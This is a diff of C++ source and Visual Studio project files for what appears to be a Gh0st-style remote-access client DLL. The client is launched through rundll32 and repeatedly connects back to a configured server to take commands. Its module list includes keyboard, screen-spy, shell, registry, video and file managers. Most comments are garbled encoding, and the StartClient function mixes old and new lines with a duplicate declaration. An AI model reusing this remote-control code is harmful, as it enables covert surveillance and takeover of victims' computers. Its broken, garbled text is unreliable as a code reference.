<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||||
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
}else if (settings.IsValid())
|
||||
{
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
while (std::getline(stream, item, ':')) {
|
||||
result.push_back(item);
|
||||
}
|
||||
if (result.size() == 1)
|
||||
{
|
||||
result.push_back("80");
|
||||
}
|
||||
if (result.size() != 2) {
|
||||
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
|
||||
return;
|
||||
}
|
||||
|
||||
do {
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = new IOCPClient();
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
while (!g_bExit)
|
||||
{
|
||||
DWORD dwTickCount = GetTickCount();
|
||||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
||||
{
|
||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||
continue;
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
||||
|
||||
CKernelManager Manager(ClientObject);
|
||||
bool bIsRun = 0;
|
||||
do
|
||||
{
|
||||
Sleep(200);
|
||||
|
||||
bIsRun = ClientObject->IsRunning();
|
||||
|
||||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||
}
|
||||
|
||||
cout<<"StartClient end\n";
|
||||
app.SetThreadRun(TRUE);
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
continue;
|
||||
}
|
||||
SAFE_DELETE(Manager);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
|
||||
ClientObject->SendLoginInfo(login);
|
||||
|
||||
do
|
||||
{
|
||||
Manager->SendHeartbeat();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
CloseHandle(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
g_bThreadExit = true;
|
||||
SAFE_DELETE(Manager);
|
||||
app.SetThreadRun(FALSE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
90
client/ClientDll.h
Normal file
90
client/ClientDll.h
Normal file
@@ -0,0 +1,90 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ࣺ<EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
|
||||
typedef struct ClientApp
|
||||
{
|
||||
State g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
CONNECT_ADDRESS* g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
|
||||
BOOL m_bShared; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
IsRunning m_bIsRunning; // <20><><EFBFBD><EFBFBD>״̬
|
||||
unsigned m_ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
static int m_nCount; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) {
|
||||
memset(this, 0, sizeof(ClientApp));
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id) {
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1) {
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount() {
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait() {
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
bool IsThreadRun() {
|
||||
m_Locker.Lock();
|
||||
BOOL n = g_bThreadExit;
|
||||
m_Locker.Unlock();
|
||||
return FALSE == n;
|
||||
}
|
||||
void SetThreadRun(BOOL run = TRUE) {
|
||||
m_Locker.Lock();
|
||||
g_bThreadExit = !run;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
void SetProcessState(State state = S_CLIENT_NORMAL) {
|
||||
m_Locker.Lock();
|
||||
g_bExit = state;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
}ClientApp;
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
@@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@@ -14,19 +14,20 @@
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -40,7 +41,14 @@
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
@@ -65,7 +73,7 @@
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
@@ -83,7 +91,6 @@
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="CursorInfor.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
@@ -106,7 +113,7 @@
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfor.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
@@ -136,6 +143,10 @@
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -33,9 +33,6 @@
|
||||
<ClCompile Include="Common.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CursorInfor.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
@@ -98,9 +95,6 @@
|
||||
<ClInclude Include="Common.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CursorInfor.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
@@ -158,6 +152,9 @@
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CursorInfo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc">
|
||||
@@ -174,4 +171,12 @@
|
||||
<Filter>资源文件</Filter>
|
||||
</Media>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="Res\msg.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
234
client/ClientDll_vs2015.vcxproj
Normal file
234
client/ClientDll_vs2015.vcxproj
Normal file
@@ -0,0 +1,234 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\commands.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
